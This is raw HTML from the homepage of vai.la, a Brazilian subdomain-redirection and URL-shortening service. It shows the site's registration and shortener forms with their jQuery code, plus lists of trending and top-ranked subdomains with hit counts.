padding: 10px; border:1px solid #C1C1C1;" /></div> <div style="float:right;"><input type="submit" title="Clique aqui ou pressione ENTER para buscar" style="background: url('http://www.vai.la/common/img/layout/bt_search.png') no-repeat; width: 60px; height: 42px; text-indent: -9000px; margin-left:5px; overflow: hidden; cursor: pointer; *font-size: 0; *line-height: 0; border:0px;" /></div> <div style="clear:both;"></div> </form> </div> <div style="width:714px; float:right; height:34px; background:#4B475B url('http://www.vai.la/common/img/layout/menubg.png');"> <ul id="nav-menu" class="nav-menu" style="margin-top:0px; float:left;"> <li class=""> <a href="http://www.vai.la">Vai.la</a> </li> <li class=""> <a href="http://www.vai.la/index/links" style="text-transform:capitalize;">Explore</a> <ul style="display: none; width:150px;" class="box-submenu"> <li><a href="http://www.vai.la/index/domains">Domínios recentes</a></li> <li><a href="http://www.vai.la/index/links">Links recentes</a></li> <li><a href="http://www.vai.la/index/tweets">Tweets recentes</a></li> </ul> </li> <li class=""> <a href="#">Encurtador</a> <ul style="display: none; width:150px;" class="box-submenu"> <li><a href="http://www.vai.la/link/api/?h=1">API para integração</a></li> <li><a href="http://www.vai.la/link/bookmarks">Barra de favoritos</a></li> </ul> </li> <li class="last"> <a href="http://www.learncafe.com/cursos-gratis" target="_blank" style="text-transform:capitalize;">Cursos grátis</a> </li> </ul> <ul id="nav-menu" class="nav-menu" style="margin-top:0px; float:right;"> <li class=""><a href="http://www.vai.la/default/account/login?continue=vai.la/"><span>Entrar</span></a></li> <li class="last"><a href="http://www.vai.la/default/account/signup?continue=vai.la/"><span>Cadastre-se</span></a></li> </ul> </div> <div style="clear: both"></div> <!-- FIM DO CABEÇALHO --><!-- FIM DO CABEÇALHO --><!-- FIM DO CABEÇALHO --><!-- FIM DO CABEÇALHO --><!-- FIM DO CABEÇALHO --><!-- FIM DO CABEÇALHO --><!-- FIM DO CABEÇALHO --> <!-- FIM DO CABEÇALHO --><!-- FIM DO CABEÇALHO --><!-- FIM DO CABEÇALHO --><!-- FIM DO CABEÇALHO --><!-- FIM DO CABEÇALHO --><!-- FIM DO CABEÇALHO --><!-- FIM DO CABEÇALHO --> <!-- FIM DO CABEÇALHO --><!-- FIM DO CABEÇALHO --><!-- FIM DO CABEÇALHO --><!-- FIM DO CABEÇALHO --><!-- FIM DO CABEÇALHO --><!-- FIM DO CABEÇALHO --><!-- FIM DO CABEÇALHO --> <div id="layoutMainContent"> <script type="text/javascript"> function formDomain() { // Dialog $('#formDomain').dialog({ autoOpen: true, modal: true, width: 440, resizable: false }); $('#dom_name_modal').attr('value', $("#dom_name").val()); } $(document).ready(function() { try{ $("#formAdd").submit(function() { // DISABLE SUBMIT BUTTON AND CHANGE TEXT // DISABLE SUBMIT BUTTON AND CHANGE TEXT // DISABLE SUBMIT BUTTON AND CHANGE TEXT input_submit = "#btn_submit_modal"; backup_text = $(input_submit).val(); $(input_submit).val("Aguarde"); interval = window.setInterval(function(){ var text = $(input_submit).val(); if (text.length < (backup_text.length+4)){ $(input_submit).val(text + '.'); } else { $(input_submit).val("Aguarde"); } }, 200); $(input_submit).attr('disabled','disabled'); ///////////////////////////////////////////// $.post( "http://www.vai.la/domain/add", { dom_id: $("#dom_id").val(), dom_title: $("#dom_title").val(), dom_name: $("#dom_name_modal").val(), dom_url: $("#dom_url").val(), dom_tags: $("#dom_tags").val(), dom_description: $("#dom_description").val(), use_username: $("#use_username").val(), use_email: $("#use_email").val() }, function(data){ $("#message").text(""); // virá no formato exemplo: ['error', ['erro 1', 'erro2']] // ou: ['success', ['sucesso'], link] try{ var json_response = JSON.parse(data); } catch(e) { alert(e + " \n" + data) // REENABLE SUBMIT BUTTON AND CHANGE TEXT // REENABLE SUBMIT BUTTON AND CHANGE TEXT // REENABLE SUBMIT BUTTON AND CHANGE TEXT window.clearInterval(interval); $(input_submit).val(backup_text); $(input_submit).removeAttr('disabled'); //////////////////////////////////////// } if( json_response[0] == "error" ){ var i; $("#message").css({color: "#FF0000"}); for( i in json_response[1] ){ $("#message").append(json_response[1][i] + "<br />"); //break; // Get just the first error... } // REENABLE SUBMIT BUTTON AND CHANGE TEXT // REENABLE SUBMIT BUTTON AND CHANGE TEXT // REENABLE SUBMIT BUTTON AND CHANGE TEXT window.clearInterval(interval); $(input_submit).val(backup_text); $(input_submit).removeAttr('disabled'); //////////////////////////////////////// } else { var i; $("#message").css({color: "#00FF00"}); for( i in json_response[1] ){ $("#message").append(json_response[1][i] + "<br />"); } window.location = "http://www.vai.la/dominio/" + json_response[2]; } }); return false; }); } catch(e) { alert(e) // REENABLE SUBMIT BUTTON AND CHANGE TEXT // REENABLE SUBMIT BUTTON AND CHANGE TEXT // REENABLE SUBMIT BUTTON AND CHANGE TEXT window.clearInterval(interval); $(input_submit).val(backup_text); $(input_submit).removeAttr('disabled'); //////////////////////////////////////// } }); </script> <div id="formDomain" style="display:none;" title="Registre seu domínio grátis"> <form id="formAdd" method="post" class="detetiveModal" action=""> <div id="message"></div> <label><b>DOMÍNIO ESCOLHIDO:</b></label><br /><input type="text" name="dom_name" alt="dom_name" id="dom_name_modal" value="" class="inputText" style="text-transform:lowercase; width:350px; text-align:right;" /><b> .vai.la</b><br /> <label><b>taxe hotel:</b></label><br /><input type="text" name="dom_url" id="dom_url" value="http://" class="inputText" style="width: 400px;" /><br> <label><b>TÍTULO:</b></label><br /><input type="text" name="dom_title" id="dom_title" value="" class="inputText" style="width: 400px;" /><br /> <label><b>seja bem vindo (a):</b></label><br /><input type="text" name="dom_description" id="dom_description" value="" class="inputText" style="width: 400px;" /><br> <label><b>PALAVRAS-CHAVE:</b></label><br /><input type="text" name="dom_tags" id="dom_tags" value="" class="inputText" style="width: 400px;" /><br> <div style="margin-top: 5px; text-align: left; margin-bottom: 0"> <input class="btn_small" name="btn_submit_modal" id="btn_submit_modal" type="submit" value="Sim, registrar este domínio!" /> </div> </form> </div> <div id="banner" style="text-align:right; width:810px; height:180px; background-color:#4C485C; background:#4C485C url('http://www.vai.la/common/img/layout/banner_pt.png') no-repeat left center;"> <div style="position:absolute; width:448px; margin-top:108px; margin-left:321px;"> <div style="float:left;"><input alt="dom_name" name="dom_name" id="dom_name" type="text" style="width:224px; height:20px; font-size:16px; color:#407CAF; font-weight: bold; text-transform:lowercase; padding: 6px; border:1px solid #C1C1C1; text-align: left;" onkeyup="javascript: if(event.keyCode == 13 || event.which == 13) { formDomain(); }" /></div> <div style="float:right;"><input class="btn_big" style="margin-top:6px;" type="submit" value="Continuar" onclick="formDomain();" /></div> <div style="clear:both;"></div> </div> </div> <div style="float:left; width:336px; margin-right:10px; font-size:12px;"> <script type="text/javascript" src="http://www.vai.la/common/js/CopyClipboardButton.js"></script> <script type="text/javascript" src="http://www.vai.la/common/js/jquery.form.js"></script> <script type="text/javascript"> $(document).ready(function() { $('#links_form').ajaxForm({ target: '#divShorted' }); }); </script> <script type="text/javascript"> function SelectAll(id) { document.getElementById(id).focus(); document.getElementById(id).select(); } </script> <form id="links_form" method="POST" action="link/generate"> <div style="height:68px; margin: 10px 0 0 0; background:url(http://www.vai.la/common/img/layout/display_shorten_pt.png); "></div> <div style="background: #949494; padding: 12px 10px 12px 10px;"> <div style="float:left"> <input id="link_submit" type="text" name="url" value="http://" style="border: 0; color: #6E6E66; width: 234px; padding: 3px 7px 3px 7px;" autocomplete="off" onfocus="if (this.value == 'http://') { this.value = ''; }" onblur="if (this.value == '') { this.value = 'http://'; }" /> <input type="hidden" name="use_id" value="0" /> </div> <div style="float:right;"> <input type="submit" value="encurtar" style="background:#6A6A6A; border:0; color:#FFFFFF; font-size:11px; padding:4px 5px 4px 5px; margin: 5px 0 0 0px;" /> </div> <div style="clear: both"></div> </div> <div id="divShorted" style="margin-bottom:10px;"></div> </form> </div> <div style="float:left; width:227px; margin-right:10px; font-size:12px;"> <!-- Tab menu --> <div style="margin-top:10px; padding:8px; border:1px solid #E0E0E0; background-color:#F9F9F9;"> <strong>Destaques de hoje</strong> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/l2dragonknight" title="L2DRAGONKNIGHT">l2dragonknight.vai.la</a> </div> <div style="float:right;"> 178 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/facebook-andremesquita" title="facebook">facebook-andremesquita.vai.la</a> </div> <div style="float:right;"> 70 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/emfoco" title="EM FOCO">emfoco.vai.la</a> </div> <div style="float:right;"> 68 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/paidefamilia3" title="Pai de Família.">paidefamilia3.vai.la</a> </div> <div style="float:right;"> 35 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/unosempreemder" title="Unos Empreendedores - Todo o Brasil a um Click">unosempreemder.vai.la</a> </div> <div style="float:right;"> 33 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/mulherconquista" title="Aprenda a conquistar qualquer homem !">mulherconquista.vai.la</a> </div> <div style="float:right;"> 31 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/moacir-senhawa" title="Senhas para o Wolframalpha">moacir-senhawa.vai.la</a> </div> <div style="float:right;"> 31 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/contato" title="Contato">contato.vai.la</a> </div> <div style="float:right;"> 29 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/bmlcrossfire" title="Bmlcrossfire">bmlcrossfire.vai.la</a> </div> <div style="float:right;"> 24 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/eliminarcelulite" title="Eliminar Celulite">eliminarcelulite.vai.la</a> </div> <div style="float:right;"> 23 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/ruseries" title="RUSEries">ruseries.vai.la</a> </div> <div style="float:right;"> 19 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/radiogiro97" title="Radio giro 97">radiogiro97.vai.la</a> </div> <div style="float:right;"> 19 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/sigosim" title="Sigo Sim Blog">sigosim.vai.la</a> </div> <div style="float:right;"> 18 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/queimade48horas" title="queima de 48 horas">queimade48horas.vai.la</a> </div> <div style="float:right;"> 17 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/aumentar-seios" title="Aumentar Seios">aumentar-seios.vai.la</a> </div> <div style="float:right;"> 17 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/habboclient" title="Habboclient">habboclient.vai.la</a> </div> <div style="float:right;"> 16 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/mundojava" title="MundoJava">mundojava.vai.la</a> </div> <div style="float:right;"> 14 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/demore-mais" title="Controle a ejaculação">demore-mais.vai.la</a> </div> <div style="float:right;"> 13 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/baiakpesadao2" title="BaiakPesadao2">baiakpesadao2.vai.la</a> </div> <div style="float:right;"> 13 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/l2-fantasy" title="L2-Fantasy">l2-fantasy.vai.la</a> </div> <div style="float:right;"> 12 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/kekagunzbr" title="KekaGunz v4.3.1">kekagunzbr.vai.la</a> </div> <div style="float:right;"> 12 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/forumspicegirlsforever" title="Spice Girls Forever - Forums">forumspicegirlsforever.vai.la</a> </div> <div style="float:right;"> 11 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/pauloveiculos" title="PAULO Veiculos">pauloveiculos.vai.la</a> </div> <div style="float:right;"> 11 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/conquistar-mulheres" title="Conquistar Mulheres">conquistar-mulheres.vai.la</a> </div> <div style="float:right;"> 11 hits </div> <div style="clear: both"> </div> </div> </div> <div style="float:right; width:227px; font-size:12px;"> <div style="margin-top:10px; padding:8px; border:1px solid #E0E0E0; background-color:#F9F9F9;"> <strong>Ranking de domínios</strong> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/emfoco" title="EM FOCO">emfoco.vai.la</a> </div> <div style="float:right;"> 1.700 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/radiomegafm91fm" title="RÁDIO MEGA FM">radiomegafm91fm.vai.la</a> </div> <div style="float:right;"> 1.517 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/l2matao" title=":::Lineage2Matao Interlude 5000x PvP:::">l2matao.vai.la</a> </div> <div style="float:right;"> 772 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/eliminarcelulite" title="Eliminar Celulite">eliminarcelulite.vai.la</a> </div> <div style="float:right;"> 704 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/bmlcrossfire" title="Bmlcrossfire">bmlcrossfire.vai.la</a> </div> <div style="float:right;"> 702 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/paidefamilia3" title="Pai de Família.">paidefamilia3.vai.la</a> </div> <div style="float:right;"> 697 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/catalogodigital" title="Catálogo Digital Para folheados grátis">catalogodigital.vai.la</a> </div> <div style="float:right;"> 568 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/smitegame" title="SMITE GAME: Brasil">smitegame.vai.la</a> </div> <div style="float:right;"> 541 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/mulherconquista" title="Aprenda a conquistar qualquer homem !">mulherconquista.vai.la</a> </div> <div style="float:right;"> 534 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/kenialoucanacama" title="O que Você deve Saber para pôr uma Mulher louca na Cama">kenialoucanacama.vai.la</a> </div> <div style="float:right;"> 512 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/radiomegafm91" title="RÁDIO MEGA FM">radiomegafm91.vai.la</a> </div> <div style="float:right;"> 510 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/freezp" title="Z8Games Free ZP">freezp.vai.la</a> </div> <div style="float:right;"> 510 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/aprendaatocarviolao" title="Aprenda a tocar violao">aprendaatocarviolao.vai.la</a> </div> <div style="float:right;"> 452 hits /div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/moacir-senhawa" title="Senhas para o Wolframalpha">moacir-senhawa.vai.la</a> </div> <div style="float:right;"> 431 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/offertaniacriarconta" title="LANÇAMENTO OFFERTANIA">offertaniacriarconta.vai.la</a> </div> <div style="float:right;"> 429 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/queimade48horas" title="queima de 48 horas">queimade48horas.vai.la</a> </div> <div style="float:right;"> 364 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/l2dragonknight" title="L2DRAGONKNIGHT">l2dragonknight.vai.la</a> </div> <div style="float:right;"> 345 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/l2saranossaterra" title="L2Sara Nossa Terra">l2saranossaterra.vai.la</a> </div> <div style="float:right;"> 340 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/sigosim" title="Sigo Sim Blog">sigosim.vai.la</a> </div> <div style="float:right;"> 330 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/habboclient" title="Habboclient">habboclient.vai.la</a> </div> <div style="float:right;"> 327 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/apostar" title="Aposte para ganhar">apostar.vai.la</a> </div> <div style="float:right;"> 318 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/mundojava" title="MundoJava">mundojava.vai.la</a> </div> <div style="float:right;"> 314 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/ocodigodatracao" title="Codigo da Atração">ocodigodatracao.vai.la</a> </div> <div style="float:right;"> 303 hits </div> <div style="clear: both"> </div> </div> <div style="padding-top:8px; padding-bottom:8px; border:0px; border-bottom:1px solid #E0E0E0; background-color:#FFFFFF;"> <div style="float:left;"> <a href="../dominio/produtosparavenderpelainternet" title=" Gostaria de ver sua Página de Vendas">produtosparavenderpelainternet.vai.la</a> </div> <div style="float:right;"> 303 hits </div> <div style="clear: both"> </div> </div> </div> <div style="clear: both"></div> </div><!-- end div divMainContent --> <div id="footer" style="margin-bottom:15px;"> <div style="float:left;"> <a href="http://www.vai.la"><img src="http://www.vai.la/common/img/layout/logo_mini.png" alt="Learncafe" border="0" /></a> </div> <div style="float:right;"> <p>Vai.la - Redirecionamento de sites e encurtador de urls Todos os direitos reservados © 2003 / 2013</p> </div> <div style="clear:both"></div> </div> </div><!-- end div layoutPage --> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-274669-7']); _gaq.push(['_setDomainName', '.vai.la']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </body> </html>